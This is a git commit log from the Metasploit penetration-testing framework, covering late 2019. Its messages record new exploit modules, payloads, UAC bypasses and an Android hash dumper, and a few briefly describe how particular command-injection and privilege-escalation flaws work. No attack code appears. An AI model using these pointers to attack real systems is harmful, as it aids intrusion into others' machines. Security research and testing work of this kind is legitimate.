Brendan Coles f5fbdcacc3 Add support for shell sessions to post/windows/gather/enum_hostfile 2019-11-16 04:07:01 +00:00
dwelch-r7 a97c145ba9 Allow for optional workspaces 2019-11-16 00:26:25 +00:00
dwelch-r7 191cbcdd12 Add some missing remote data calls
Also adds some extra verification for the specified workspace in incoming requests
2019-11-16 00:04:44 +00:00
Shelby Pace aa058eaca3 remove ternary 2019-11-15 13:02:53 -06:00
bwatters-r7 d093c75ae5 Stupid pry.... 2019-11-15 12:27:42 -06:00
bwatters-r7 1e95e1c956 Fix up required reg additions for different windows versions
Add module docs
2019-11-15 12:20:50 -06:00
Shelby Pace 51a392f8a6 change default value 2019-11-15 11:59:40 -06:00
Metasploit 6b586552bd automatic module_metadata_base.json update 2019-11-15 11:36:05 -06:00
William Vu 05721ef2ec Land #12581, additional BlueKeep doc fixes 2019-11-15 11:26:06 -06:00
William Vu 1d6e0a8638 Further correct target documentation 2019-11-15 11:23:28 -06:00
William Vu 6e904ea105 Fix/clarify target documentation for BlueKeep 2019-11-15 11:14:00 -06:00
dwelch-r7 dfaba0a98e Add endpoints for report_web_* 2019-11-15 16:33:28 +00:00
Metasploit 4ad895e7d6 automatic module_metadata_base.json update 2019-11-15 05:09:59 -06:00
Tim W 41e3bccdaa Land #12497, add android hashdumper for cracking Android pin codes 2019-11-15 18:13:16 +08:00
Tim W 46d759eca9 add support for Chrome 68.0.3440.84 2019-11-15 17:42:16 +08:00
Tim W 4ef54518ed add support for OSX and 69.0.3497.100 2019-11-15 16:12:49 +08:00
Green-m 22412d4570 Fix bind error bug, and enhance check method. 2019-11-15 09:52:58 +08:00
Metasploit 640bf58321 automatic module_metadata_base.json update 2019-11-14 15:28:12 -06:00
William Vu 8564d63767 Land #12575, 2008 caveat note in BlueKeep exploit 2019-11-14 15:19:44 -06:00
William Vu 618a7c9771 Land #12567, tribute banner for the console 2019-11-14 14:47:08 -06:00
Metasploit a08f046cb1 Bump version of framework to 5.0.61 2019-11-14 12:55:01 -06:00
William Vu 28ecefadb8 Warn about fDisableCam in automatic mode 2019-11-14 11:08:27 -06:00
William Vu cb6d85bee2 Add suggestion about GROOMBASE 2019-11-14 11:08:14 -06:00
William Vu fc64ac42af State 2008 caveat in module description and doc 2019-11-14 10:57:42 -06:00
Brent Cook bbe95e393d initial integration work 2019-11-14 10:29:58 -06:00
Brendan Coles 5f976f0c45 Land #12570, Fix compile failure handling in Post::Linux::Compile 2019-11-14 08:09:13 +00:00
h00die 8b8c70b145 add samsung and md5 processing 2019-11-13 21:48:25 -05:00
Cory Kennedy a66a59ae2a Changed Filename 2019-11-13 20:26:49 -06:00
Cory Kennedy 03117ea685 Update SecKC.txt 2019-11-13 20:26:01 -06:00
Metasploit b7f4eba8b7 automatic module_metadata_base.json update 2019-11-13 11:44:06 -06:00
sinn3r 5c6686a105 Land #12532, Add FusionPBX Command exec.php Command Execution
Add FusionPBX Command exec.php Command Execution
2019-11-13 11:33:21 -06:00
sinn3r 66ad5deb47 Land #12531, Add FusionPBX Operator Panel exec.php Command Execution
Add FusionPBX Operator Panel exec.php Command Execution
2019-11-13 11:31:30 -06:00
sinn3r 71cbefa5e8 Land #12534, Add FreeSWITCH Event Socket Command Execution
Add FreeSWITCH Event Socket Command Execution
2019-11-13 11:27:53 -06:00
Brent Cook fff9f51d07 add initial ruby implementation of chacha
Note this is the original version with the 64-bit IV and 64-bit block
counter. This can be changed to the RFC version in a bit.
2019-11-13 09:22:14 -06:00
Metasploit b93ef61c06 automatic module_metadata_base.json update 2019-11-13 08:45:46 -06:00
Shelby Pace 1ebef8bcb2 Land #12529, add CMSMS object inject exploit 2019-11-13 08:37:05 -06:00
Shelby Pace f79a35d428 check response 2019-11-13 08:34:23 -06:00
Tim W 04dd5162cf Add CVE-2019-5825, Chrome 73 1-day Array.map --no-sandbox exploit 2019-11-13 22:26:44 +08:00
Metasploit b510c04f61 automatic module_metadata_base.json update 2019-11-13 02:29:49 -06:00
William Vu 8e208daec2 Land #12572, .rubocop.yml renamed cop fix 2019-11-13 02:15:21 -06:00
William Vu 349bc93054 Land #12573, DOUBLEPULSAR exploit style fixes 2019-11-13 02:13:54 -06:00
William Vu 45e2a3b229 Address RuboCop review 2019-11-13 02:10:03 -06:00
William Vu 7a4c48ee27 Fix style in exploit/windows/smb/doublepulsar_rce 2019-11-13 02:04:14 -06:00
William Vu 671836b93b Fix renamed RuboCop check in .rubocop.yml 2019-11-13 01:45:01 -06:00
Metasploit fc300c6bf4 automatic module_metadata_base.json update 2019-11-13 00:48:01 -06:00
William Vu 1d94564af4 Land #12571, DOUBLEPULSAR exploit metadata updates 2019-11-13 00:35:28 -06:00
William Vu 4877032e8a Update exploit/windows/smb/doublepulsar_rce info 2019-11-13 00:30:09 -06:00
Tim W d364c22541 fix NameError uninitialized constant Msf::Post::Linux::Compile::Failure 2019-11-13 12:30:02 +08:00
lle-bout 6766d9f6f7 Fix exploit/windows/local/ms16_032_secondary_logon_handle_privesc
- Powershell script was outdated.
   Updated from https://www.exploit-db.com/exploits/39719

 - Powershell script was buggy when current directory
   was set to e.g. C:\ProgramData. (Get-Item Error)
   Fixed.

 - Stager was being dropped to current directory, but
   it is not guaranteed that we always have permission
   to write a file there. Use %TEMP% instead.

 - Exploit only seems to work when executed under
   a powershell of the same architecture as the
   host. (Not WOW64)
   This module now ensures that no matter the
   architecture of the meterpreter, a powershell
   of the same architecture as the host is being
   run. (Using Sysnative directory when on WOW64)

 - Stager was broken, now generating stager with Rex
   and dropping stager as `.ps1` instead of `.txt`.

   Ideally the exploit should be rewritten to
   accept a shellcode payload directly or a smaller
   stager powershell should be created so that it
   fits in under 1024 bytes and can be fed directly
   to CreateProcessWithLogonW without dropping to
   disk.
2019-11-13 05:01:47 +01:00
h00die ec63c4c419 fix negative bug, add docs 2019-11-12 22:32:07 -05:00
scanu92 d9b0c1aa2f add advanced options ForceExploit 2019-11-12 23:03:28 +01:00
scanu92 1489e03f0a Update cmsms_object_injection_rce.rb 2019-11-12 23:02:16 +01:00
scanu92 78ea784e84 Update modules/exploits/multi/http/cmsms_object_injection_rce.rb
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-11-12 23:00:31 +01:00
Cory Kennedy 7d9ab29c8c Create SecKC.txt 2019-11-12 15:55:26 -06:00
Metasploit 493c48dcd6 automatic module_metadata_base.json update 2019-11-12 15:52:58 -06:00
Shelby Pace baf27f9654 Land #12542, add Bludit File Upload Exploit 2019-11-12 15:44:34 -06:00
h00die f47721c907 Merge pull request #14 from timwr/android_hashdump
fallback to settings.db if locksettings.db does not exist
2019-11-12 16:33:01 -05:00
Cristina Muñoz e804745766 Bugfix: correct reference to asm file 2019-11-12 09:30:27 -08:00
Metasploit dea692a5bd automatic module_metadata_base.json update 2019-11-12 03:17:11 -06:00
William Vu 7d77c0fd5a Land #12543, myworkspace.id to myworkspace_id fix 2019-11-12 03:09:08 -06:00
Metasploit b1aeb5d040 automatic module_metadata_base.json update 2019-11-12 03:06:45 -06:00
William Vu 3c1fa90a75 Land #12515, Pulse Secure VPN RCE 2019-11-12 02:55:01 -06:00
William Vu add013283d Land #12511, Pulse Secure VPN file read redux 2019-11-12 02:51:11 -06:00
William Vu a8e289ee9c Code-block env(1) 2019-11-12 02:46:18 -06:00
William Vu f14eda45e8 Land #12537, minimum Ruby version in gemspec 2019-11-12 02:28:04 -06:00
William Vu a267ad9d64 Reference env(1) as the reason we have useful RCE 2019-11-12 02:17:58 -06:00
William Vu a17b2c2041 Add module doc 2019-11-12 02:10:10 -06:00
William Vu 8df559eceb Update print to warning 2019-11-12 02:09:43 -06:00
Tim W 6ac4d9ca33 skip if no -wal and -shm exists, and remove salt length check 2019-11-12 16:07:37 +08:00
wvu-r7 0c4580f254 Calibrate timeout for hax
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-12 02:03:52 -06:00
William Vu de72ed8545 Print our glorious success 2019-11-12 02:02:53 -06:00
William Vu 238c931fd3 Don't fail module if blocking through timeout 2019-11-12 01:55:56 -06:00
William Vu d8e612726c Note that an admin SID is required at present 2019-11-12 01:46:23 -06:00
William Vu 1573664c78 Reduce timeout for when the shell pops 2019-11-12 01:41:19 -06:00
Tim W da3f298a9b fallback to settings.db if locksettings.db does not exist 2019-11-12 15:40:28 +08:00
William Vu bc5b0645dd Fix typo 2019-11-12 01:25:36 -06:00
William Vu 2c6c46701c Update DefaultOptions 2019-11-12 01:23:53 -06:00
William Vu 8664ac9dd8 Add target print 2019-11-12 01:17:28 -06:00
William Vu e9fb4a2528 Check for nil
Oops.
2019-11-12 01:10:26 -06:00
William Vu f4c7690247 Print cmd/unix/generic command output, minus HTML 2019-11-12 01:08:56 -06:00
William Vu 09901fdf56 Clarify session cookie could be invalid 2019-11-12 01:08:25 -06:00
William Vu 5b825e8245 Readd cmd/unix/generic target with manual badchars 2019-11-12 01:08:09 -06:00
Metasploit 2a02c6b318 automatic module_metadata_base.json update 2019-11-11 17:49:45 -06:00
William Vu 22da634ddc Land #12553, Meltdown fix for BlueKeep exploit 2019-11-11 17:33:52 -06:00
William Vu 4f2cab4cf1 Add references 2019-11-11 17:33:10 -06:00
Metasploit 70a3aab8ac automatic module_metadata_base.json update 2019-11-11 15:55:53 -06:00
bwatters-r7 3b57705a1f Land #11390, Add exploit module for Xorg X11 Server Local Privilege Escalation on AIX
Merge branch 'land-11390' into upstream-master
2019-11-11 15:42:54 -06:00
Wei Chen 717a31c7c3 Fix typos and format 2019-11-11 14:47:56 -06:00
bwatters-r7 820aa4f46c Update documents with vimeo video example and update SideEffects value
in the module cache.
2019-11-11 14:28:07 -06:00
Shelby Pace d1e9538f9c use stager_name 2019-11-11 09:32:28 -06:00
Shelby Pace 7d5deafcee add check for cipher 2019-11-11 09:11:51 -06:00
bwatters-r7 ef6ae90ca6 Add case statement for admin check 2019-11-11 09:00:11 -06:00
William Vu b6b131e808 Land #12556, 64K ought to be enough for anyone 2019-11-10 21:25:48 -06:00
Nicholas Starke 986b1dfbd5 Addressing comments on pull request
I have updated this module as per the comments left on the pull request.
This includes adding a timeout configuration option and adding a check
for the webSocketDebuggerUrl key
2019-11-10 15:43:01 -06:00
Brendan Coles d172534417 64K ought to be enough for anyone 2019-11-10 09:49:49 +00:00
lle-bout 1d7cdac421 Add Wordpress Plainview Activity Monitor RCE
Description:

```
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability, but
this plugin version is also vulnerable to CSRF attack and Reflected
XSS. Combined, these three vulnerabilities can lead to Remote Command
Execution just with an admin click on a malicious link.
```
2019-11-10 08:27:45 +01:00
h00die f8ef7a8db9 add crack_mobile, handle negative hashes 2019-11-09 15:55:53 -05:00
Wyatt Dahlenburg a2aba34112 Trimmed test_keys method 2019-11-09 12:00:22 -06:00
h00die f27afeae65 android hashdump docs 2019-11-09 10:11:45 -05:00
h00die 6d23059cc0 android hashdump updates 2019-11-09 10:11:45 -05:00
h00die 389f269dcd first test of android hashdumper 2019-11-09 10:09:18 -05:00
zerosum0x0 01d84c5654 remove syscall hook 2019-11-08 19:44:52 -07:00
John Kollross 12fb919fee Merge pull request #1 from rapid7/master
update
2019-11-08 10:36:45 -06:00
Shelby Pace 8b5260f6ab use OptEnum for optimization level 2019-11-08 08:58:56 -06:00
Metasploit a72067ced5 automatic module_metadata_base.json update 2019-11-07 21:32:19 -06:00
Jeffrey Martin eb07305104 Land #11695, Password Cracker Overhaul(ie hashcat) 2019-11-07 19:09:52 -06:00
Christophe De La Fuente 94939837e0 Land #12550, update .mailmap
Add @adamgalway-r7 contact details to the mailmap
2019-11-07 23:25:40 +01:00
Shelby Pace bfa27e6bed add flag, use DefaultOptions for linker script 2019-11-07 15:33:31 -06:00
bwatters-r7 f426206246 update code from bcoles suggestions. 2019-11-07 15:30:53 -06:00
Metasploit e46b5dc701 Bump version of framework to 5.0.60 2019-11-07 12:19:38 -06:00
Shelby Pace 1a88e7610b add optimization flag, use basename method 2019-11-07 10:46:57 -06:00
William Vu a1bbc86cd0 Land #12547, null-pointer-deref.txt update to MSF5 2019-11-07 10:14:55 -06:00
Metasploit db87cb72ef automatic module_metadata_base.json update 2019-11-07 10:09:03 -06:00
Dustin f1a6d3924e Update metasploit-framework.gemspec
Set minimum `v2.5`

Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-11-07 11:07:43 -05:00
William Vu 2b3c2b6af5 Land #12535, module traits for some local exploits 2019-11-07 10:00:39 -06:00
William Vu d34dd39e6a Land #12522, THREADS clarification 2019-11-07 09:58:19 -06:00
William Vu dedbd616c8 Fix wording 2019-11-07 09:57:39 -06:00
Adam Galway ff8ba05ef1 Add my contact details to the mailmap 2019-11-07 14:21:10 +00:00
Francesco Soncina 2549de809d fix bug in PID check 2019-11-07 12:57:05 +01:00
Metasploit a55fde4ae5 automatic module_metadata_base.json update 2019-11-07 04:25:11 -06:00
h00die 9cf62d02f9 land #12492 coldfusion rds updates 2019-11-07 05:16:29 -05:00
Jeff McJunkin 8b462083be Update banner for MSF5 2019-11-07 20:47:44 +11:00
Metasploit ef01eafa6b automatic module_metadata_base.json update 2019-11-06 21:01:06 -06:00
dwelch-r7 876a307816 Land #9396, Linux net snmpd rw access 2019-11-07 02:52:47 +00:00
Metasploit 0966efce7e automatic module_metadata_base.json update 2019-11-06 20:36:10 -06:00
h00die 0b750c96e4 land #12546 gemfile.lock fix 2019-11-06 21:27:38 -05:00
h00die 6b472b68f8 remove merge conflict marks 2019-11-06 21:20:19 -05:00
h00die f0443deb2a resolved merge conflicts for payload 1.3.79 integration 2019-11-06 21:15:11 -05:00
h00die 381963e246 update payloads to 1.3.79 2019-11-06 21:12:50 -05:00
dwelch-r7 2ab1b9071f remove unsupported check 2019-11-07 01:34:16 +00:00
dwelch-r7 61dc3ad487 Replace manual escaping with shellescape function 2019-11-07 01:33:42 +00:00
Metasploit e8e7539863 automatic module_metadata_base.json update 2019-11-06 13:54:12 -06:00
Shelby Pace 3d14b88a50 Land #12507, add rConfig Command Injection module 2019-11-06 13:45:15 -06:00
Shelby Pace a337567101 add check method 2019-11-06 12:40:45 -06:00
Brent Cook e9b36520c5 Land #12495, add Android module docs 2019-11-06 08:39:01 -08:00
Brent Cook 740687c2fa capitalize Android 2019-11-06 08:28:35 -08:00
layderv 247546f96d Fix: auxiliary/kerberos_enumusers stops after first match 2019-11-06 09:46:24 +00:00
Francesco Soncina 9a93ce8b79 Merge pull request #2 from timwr/fix_webdelivery
remove unnecessary override
2019-11-06 09:46:36 +01:00
Brendan Coles 706bb89777 Add cmd/unix/bind_jjs payload 2019-11-06 07:58:31 +00:00
Brendan Coles 19dba2f243 Add cmd/unix/reverse_jjs payload 2019-11-06 07:57:46 +00:00
Tim W 55ebfe6c2d remove unnecessary override 2019-11-06 15:27:40 +08:00
Tim W 5711effa24 update comments 2019-11-06 14:59:49 +08:00
h00die 06f7027fd8 udapted docs 2019-11-06 15:57:33 +09:00
Loïc Jaquemet 818a5ab164 Update modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb
as per suggested fix

Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-11-05 21:45:05 -07:00
Shelby Pace f898c73e49 add module skeleton 2019-11-05 11:27:35 -06:00
William Vu 5235759187 Merge remote-tracking branch 'upstream/master' into pr/12220 2019-11-05 09:56:38 -06:00
Wei Chen 553601210a Add CVE-2019-16113: Bludit Directory Traversal Image Upload Exploit 2019-11-05 08:57:15 -06:00
Francesco Soncina a449941615 use PSH-EncodedCommand for EncodedCommand in launcher
Since `Powershell::encode_final_payload` and `Powershell::encode_inner_payload` are already used in `cmd_psh_payload`, so it's better to have a dedicated option for the encoded launcher.
2019-11-05 13:12:00 +01:00
Francesco Soncina 12c92342ef Use DefaultOptions instead of redefining them 2019-11-05 12:54:29 +01:00
Tim W 812409a491 Use a random apk name 2019-11-05 15:55:20 +08:00
Adam Cammack f4cea619e8 Land #12510, Option to allow partial HTTP response 2019-11-05 01:34:54 -06:00
Francesco Soncina bbe36ebfee remove debug prints 2019-11-05 00:25:55 +01:00
Francesco Soncina 53ee43bccb Update web_delivery.rb 2019-11-05 00:24:47 +01:00
Francesco Soncina 927264e3e5 Update powershell.rb 2019-11-05 00:23:43 +01:00
h00die 7620cefca4 start of janus table 2019-11-04 23:31:45 +09:00
h00die cb1caaca94 add cleanup 2019-11-04 23:31:45 +09:00
h00die 4f2fab797f janus upgrades 2019-11-04 23:31:45 +09:00
Dustin Eichler 154719854e Set minimum ruby version 2019-11-03 09:46:47 -05:00
Brendan Coles 38498305d3 Add module notes for Reliability and Stability 2019-11-03 00:33:24 +00:00
scanu92 1ae2f66c7c Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:33:17 +01:00
scanu92 8a3f7a6b21 Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:32:55 +01:00
scanu92 1850cfd0c1 Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:32:32 +01:00
scanu92 a307f4f41a Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:32:10 +01:00
scanu92 1a4777670b Apply suggestions from code review
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-11-03 00:30:18 +01:00
Brendan Coles 6dc94bbca9 Update documentation 2019-11-02 22:37:56 +00:00
Brendan Coles f5afbe7104 Update documentation 2019-11-02 22:35:58 +00:00
Brendan Coles 0d1dd242ea Fix typos 2019-11-02 22:09:23 +00:00
Brendan Coles e0faff6944 Add documentation 2019-11-02 22:03:10 +00:00
Brendan Coles f239b5db8f Add FreeSWITCH Event Socket Command Execution 2019-11-02 22:03:02 +00:00
scanu92 632e423236 Update cmsms_object_injection_rce.rb 2019-11-02 21:31:08 +01:00
scanu92 33303746f8 Update cmsms_object_injection_rce.rb 2019-11-02 21:29:38 +01:00
Cristina Muñoz 9dfd325f42 Merge branch 'python3' of github.com:xmunoz/metasploit-framework into python3 2019-11-01 19:24:56 -07:00
Cristina Muñoz 311b03af93 Action remainder of code review changes.
- Revert files that will only run as python2.
- Remove superfluous calls to list()
- Other minor cleanup
2019-11-01 19:24:22 -07:00
Cristina c9948c037d Apply suggestions from code review
- Change executable in shebang from python3 to python
- Revert changes to files that will only run as python2

Co-Authored-By: acammack-r7 <adam_cammack@rapid7.com>
2019-11-01 19:20:22 -07:00
Brendan Coles 89b277c360 Add documentation 2019-11-01 23:38:59 +00:00
Brendan Coles c2b40d2924 Add FusionPBX Command exec.php Command Execution 2019-11-01 23:38:51 +00:00
Brendan Coles 9346013974 Use bg_system API command 2019-11-01 22:17:26 +00:00
bcoles 705b206c92 bsd 2019-11-02 08:54:04 +11:00
Brendan Coles 08d51acd18 Update targets 2019-11-01 20:33:23 +00:00
Brendan Coles 73a8381639 Add documentation 2019-11-01 20:12:03 +00:00
Brendan Coles 1e3705e47d Add FusionPBX Operator Panel exec.php Command Execution 2019-11-01 20:11:55 +00:00
Brent Cook f21bcaede9 Land #12463, Fix delimiter selection on powershell payload commands 2019-11-01 11:12:24 -05:00
William Vu c9cc8c547f Remove "now" from moved_from message
It's confusing to the user, since they think the prompt will change.
Thanks, @h00die.
2019-11-01 10:22:40 -05:00
Shelby Pace f6ef34b886 remove sleep 2019-11-01 09:26:04 -05:00
scanu92 beffab0787 Update cmsms_object_injection_rce.rb 2019-11-01 15:26:02 +01:00
Francesco Soncina 099054ded2 Update powershell.rb 2019-11-01 15:19:36 +01:00
scanu92 7cc1175287 Update cmsms_object_injection_rce.rb
Add NormalRanking to cmsms_object_injection_rce module
2019-11-01 15:15:49 +01:00
Shelby Pace 1717001be1 attribution 2019-11-01 09:01:14 -05:00
sk4 af0761bcfd Add CMS Made Simple object injection exploit module 2019-11-01 12:11:38 +01:00
Metasploit bf9a891bfe automatic module_metadata_base.json update 2019-11-01 03:08:12 -05:00
Brendan Coles 294cbcffb6 Land #12382, Add Linux Micro Focus (HPE) Data Protector omniresolve Privesc (CVE-2019-11660) 2019-11-01 08:06:01 +00:00
bcoles b08e031863 Update module description 2019-11-01 17:11:33 +11:00
bcoles c6e739c76d Code cleanup 2019-11-01 16:30:37 +11:00
Cristina Muñoz 10b5df1c4f Change all python2.7 shebangs to python3.
Remove utf-8 encoding declarations, as this is the default for python3.
2019-10-31 15:10:58 -07:00
Cristina Muñoz 8563a29003 Convert all python code to python3. Fixes #12506. 2019-10-31 14:16:14 -07:00
Shelby Pace be07ded3fa handle stderr and stdout from compilation 2019-10-31 16:09:44 -05:00
Clément Notin 38c09b8aa3 Scanner modules: explain limitation of THREADS option
Closes #12521
2019-10-31 19:26:45 +01:00
William Vu 128b9cd44b Reword related module info 2019-10-31 13:07:41 -05:00
William Vu df535676a7 Add related module info 2019-10-31 12:48:52 -05:00
William Vu f302df31aa Add note about opts['headers'] 2019-10-31 12:24:04 -05:00
William Vu ce656a850a Update raw_headers 2019-10-31 12:16:31 -05:00
Metasploit 26748dc0ac Bump version of framework to 5.0.59 2019-10-31 12:08:26 -05:00
Shelby Pace 8bb1c5102b opt for inline asm instead of pre-compiled object 2019-10-31 11:55:40 -05:00
William Vu 866a1c9bed Fix Boolean validation to match our idiom 2019-10-31 11:29:43 -05:00
William Vu b9baa80823 Refactor to use config hash and new option 2019-10-31 11:11:43 -05:00
Francesco Soncina d17f041dbd fix inner payload for web_delivery 2019-10-31 16:29:56 +01:00
Francesco Soncina 9fc2df5ea8 move force_tls12 to rex-powershell 2019-10-31 16:28:59 +01:00
William Vu f5ce31519c Fix style, once more with feeling 2019-10-31 09:59:35 -05:00
wvu-r7 dc62ea080b Fix style
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-31 09:54:18 -05:00
Metasploit 641ecb65ca automatic module_metadata_base.json update 2019-10-31 08:33:31 -05:00
Shelby Pace 0b4a0b3148 Land #12476, add Nostromo dir traversal RCE 2019-10-31 08:24:41 -05:00
Shelby Pace 99fd254348 add reference 2019-10-31 08:23:57 -05:00
Quentin Kaiser 4a6c1d824b Merge branch 'CVE-2019-16278' of github.com:QKaiser/metasploit-framework into CVE-2019-16278 2019-10-31 10:26:16 +01:00
Quentin Kaiser ca81793860 Forgot to put ForceExploit in registered options. 2019-10-31 10:25:26 +01:00
Christian Mehlmauer a36886301b Land #12513, migrate to alpine 3.10 and fix ruby reference 2019-10-31 08:20:29 +01:00
William Vu 81da0d18c6 Add blurb about pre-auth file read 2019-10-30 20:41:57 -05:00
bwatters-r7 340b73f3c6 Add Windows Escalate UAC Protection Bypass (Via dot net profiler) 2019-10-30 20:38:44 -05:00
William Vu f3a6aeea60 Add true post_auth? definition 2019-10-30 20:31:58 -05:00
William Vu 77c26e9a70 Add Pulse Secure VPN arbitrary command execution 2019-10-30 20:08:02 -05:00
William Vu a86388b53f Add module traits 2019-10-30 18:55:16 -05:00
ducksecops 2f26ddf156 Updated Dockerfile to Alpine 3.10 with Ruby 2.6.5 2019-10-30 22:16:03 +00:00
Quentin Kaiser a55c5c6765 Update documentation/modules/exploit/multi/http/nostromo_code_exec.md
s/Nostrom/Nostromo/

Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-10-30 15:38:50 +01:00
William Vu ac7a28d91d Add module doc 2019-10-29 23:14:53 -05:00
William Vu 5d71af2dc5 Clarify dumped files are looted regardless 2019-10-29 23:10:57 -05:00
William Vu b55af213aa Set PRINT to true now that it's limited to manual 2019-10-29 22:59:26 -05:00
William Vu 1f5f720058 Rewrite module 2019-10-29 22:21:31 -05:00
William Vu 52ed19f5b8 Merge remote-tracking branch 'upstream/master' into pr/12220 2019-10-29 21:30:37 -05:00
William Vu b268feda73 Allow partial response due to timeout 2019-10-29 21:25:21 -05:00
Onur ER 379fb3b65c Targets version fixed 2019-10-29 23:04:42 +03:00
Onur ER e07289c71a Update Ajenti Command Injection module
Module name changed.
Removed space.
Check module issues fixed.
random_password moved into json_body.
2019-10-29 22:49:11 +03:00
Metasploit b7acbfe8b6 automatic module_metadata_base.json update 2019-10-29 14:36:15 -05:00
Brent Cook 5169744fd8 Land #12505, enhance grub_creds module from grub_password module 2019-10-29 14:28:43 -05:00
Onur ER 89e56cf26d Rename ajenti_login_rce.rb to ajenti_auth_username_cmd_exec.rb 2019-10-29 22:19:59 +03:00
Onur ER 9b9d3013a4 Module name changed.
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-29 22:18:36 +03:00
Metasploit 352e7a83ac Bump version of framework to 5.0.58 2019-10-29 14:09:13 -05:00
Adam Cammack de845214d1 Add module check result tracking to RPC API
This adds a few sets and a hash to the Msf::Simple::Framework that help
keep track of running checks and their eventual results.
2019-10-29 12:45:09 -05:00
Brendan Coles f3bc8580c0 Add documentation 2019-10-29 15:59:18 +00:00
Brendan Coles 5c17dc6a74 Add rConfig install Command Execution exploit 2019-10-29 15:53:59 +00:00
Quentin Kaiser f03f5e4904 Documentation updated based on latest module version. 2019-10-29 16:13:25 +01:00
Shelby Pace a04291678f add require, fix module context generate 2019-10-29 08:35:04 -05:00
Quentin Kaiser 0531dd7bb9 Hash rocket alignment. 2019-10-29 12:28:39 +01:00
Quentin Kaiser bc0c2bf721 check function rewrite. 2019-10-29 12:27:15 +01:00
Quentin Kaiser 436d6781c1 Fix description. 2019-10-29 12:25:01 +01:00
Quentin Kaiser b357db22cf Fix description. 2019-10-29 12:24:22 +01:00
Quentin Kaiser 8bbb33c483 Generic name. 2019-10-29 12:24:00 +01:00
Quentin Kaiser b6dd30302a Rewriting of command stager, based on exploits/unix/webapp/webmin_backdoor. 2019-10-29 12:23:19 +01:00
Brent Cook 04c3b68820 fix no-creds case, don't print table and creds unless we found some 2019-10-29 04:31:12 -05:00
Brent Cook 99ed2b7bf2 merge modules and documentation 2019-10-29 04:27:25 -05:00
Brent Cook 4abee63936 only loot config files with passwords 2019-10-29 04:18:08 -05:00
Brent Cook 4c1f117566 add auto targeting from grub.d and FILENAME option 2019-10-29 04:17:47 -05:00
Brent Cook 0ebcda3aaa merge credits 2019-10-29 04:17:26 -05:00
Brent Cook 4d8e9bad26 expand file list from grub_cred 2019-10-29 03:42:23 -05:00
Brent Cook bd76e1f2cb initial tidy pass w/rubocop 2019-10-29 03:42:01 -05:00
Metasploit 5543692f2b automatic module_metadata_base.json update 2019-10-29 03:36:02 -05:00
Brent Cook c6ecef3dc7 Merge #11426, other grub password extraction module 2019-10-29 03:34:36 -05:00
Brent Cook effc8cbe72 Land #12500, Use check_code.message, not .second 2019-10-29 03:26:38 -05:00
Shelby Pace f65c5a30b2 use SecureRandom, bail if no db present 2019-10-28 16:25:28 -05:00
Shelby Pace c9dc2141a0 use stdlib flag instead of nostartfiles 2019-10-28 16:06:21 -05:00
Shelby Pace 041b91961f handle nil nonce 2019-10-28 15:39:37 -05:00
Onur ER bbf405bf92 Added EDB number instead of url 2019-10-28 22:09:01 +03:00
Onur ER 5dea40f43b Added Ajenti 2.1.31 exploit
Ajenti is an open source, web-based control panel that can be used for a large variety of server management tasks. It can install packages and run commands, and you can view basic server information such as RAM in use, free disk space, etc. All this can be accessed from a web browser.

This module exploits a command injection in Ajenti <= 2.1.31.
By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.
2019-10-28 21:39:13 +03:00
bwatters-r7 23e3bc3e96 Land #12502, Fix process migration on reverse_tcp meterpreter sessions w/ newer Ruby
Merge branch 'land-12502' into upstream-master
2019-10-28 08:11:31 -05:00
Brent Cook 6a9cc9b384 use the common method for enabling secure TLV channel 2019-10-28 06:25:51 -05:00
Brent Cook 4f33267db5 Wait for threads to exit after killing them. 2019-10-28 06:25:15 -05:00
Brendan Coles e9a7ceaf1c Use CheckCode.message - Fix #12499 2019-10-28 03:24:20 +00:00
William Vu ec0974222c Fix module title again 2019-10-27 11:48:50 -05:00
William Vu e010f48a3b Move module to coldfusion_rds_auth_bypass 2019-10-27 11:25:56 -05:00
William Vu 2cc5f23915 Fix module title 2019-10-27 11:25:40 -05:00
Brendan Coles 35fdd45770 Add BSD Dump Password Hashes documentation 2019-10-27 06:52:28 +00:00
Brendan Coles a27af6b631 Add BSD Dump Password Hashes module 2019-10-27 06:46:31 +00:00
h00die 57d7c8b6b2 android docs 2019-10-25 22:15:33 -04:00
bwatters-r7 3483c50a86 Add Windows backup system sdclt uac bypass module 2019-10-25 15:01:56 -05:00
Metasploit 7d6235e062 Bump version of framework to 5.0.57 2019-10-25 13:43:22 -05:00
bwatters-r7 326a2d2459 Land #12491, Update .mailmap
Merge branch 'land-12491' into upstream-master
2019-10-25 12:05:51 -05:00
bwatters-r7 315164b388 Land #12467, Bug Fix: nops generate '-s' option ignored
Merge branch 'land-12467' into upstream-master
2019-10-25 12:02:20 -05:00
Brent Cook c62f4598f8 Land #12482, Fix the default meterpreter prompt 2019-10-25 11:11:22 -04:00
Wyatt Dahlenburg d12fce600d Use regex instead of splitting strings 2019-10-25 09:50:53 -05:00
Christophe De La Fuente c37e2eaebb Update email mapping for @wvu 2019-10-25 13:08:06 +02:00
nil0x42 d7b629c858 Apply suggestions from code review
Co-Authored-By: Brendan <bwatters@rapid7.com>
2019-10-25 05:34:56 -03:00
William Vu a0d1f02fd1 Fix failed login check for ColdFusion 9.something
It was merely "ColdFusion Administrator" for the version I tested.
2019-10-24 17:07:45 -05:00
Wyatt Dahlenburg 44181d3261 Patched up @bcoles suggestions 2019-10-24 14:04:21 -05:00
Christophe De La Fuente 6c6ceb9297 Remove unused mapping for @wvu 2019-10-24 19:52:52 +02:00
